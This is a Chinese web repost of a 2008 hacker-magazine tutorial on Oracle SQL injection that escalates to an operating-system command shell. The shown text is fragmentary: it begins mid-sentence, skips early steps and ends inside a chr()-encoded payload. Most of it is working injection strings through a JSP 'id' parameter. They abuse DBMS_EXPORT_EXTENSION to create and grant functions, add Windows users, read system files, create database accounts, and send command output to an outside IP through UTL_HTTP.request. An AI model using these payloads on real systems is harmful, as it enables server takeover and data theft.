犀利的 oracle 注入技术

  发布时间:2009-06-09 11:12:29   作者:佚名   我要评论
犀利的 oracle 注入技术   原文发表在黑客手册   linx 2008.1.12   介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。   以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION…..改成   /xxx.jsp?id=1 a

t all on LinxRunCMD to public'''';END;'';END;–','SYS',0,'1',0) from dual
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;–','SYS',0,'1',0) from dual
  5.测试上面的几步是否成功
  and '1'<>'11'||(
  select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
  )
  and '1'<>(
  select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
  )
  6.执行命令:
  /xxx.jsp?id=1 and '1'<>(
  select sys.LinxRunCMD('cmd /c net user linx /add') from dual
  )
  /xxx.jsp?id=1 and '1'<>(
  select sys.LinxReadFile('c:/boot.ini') from dual
  )
  注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
  如果要查看运行结果可以用 union :
  /xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
  或者UTL_HTTP.request(:
  /xxx.jsp?id=1 and '1'<>(
  SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
  )
  /xxx.jsp?id=1 and '1'<>(
  SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
  )
  注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
  ——————–
  6.内部变化
  通过以下命令可以查看all_objects表达改变:
  select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
  7.删除我们创建的函数
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_IND
  EX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  drop function LinxRunCMD '''';END;'';END;–','SYS',0,'1',0) from dual
  ====================================================
  全文结束。谨以此文赠与我的朋友。
  linx
  124829445
  2008.1.12
  linyujian@bjfu.edu.cn
  ======================================================================
  测试漏洞的另一方法:
  创建oracle帐号:
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;–','SYS',0,'1',0) from dual
  即:
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
  chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)

相关文章

最新评论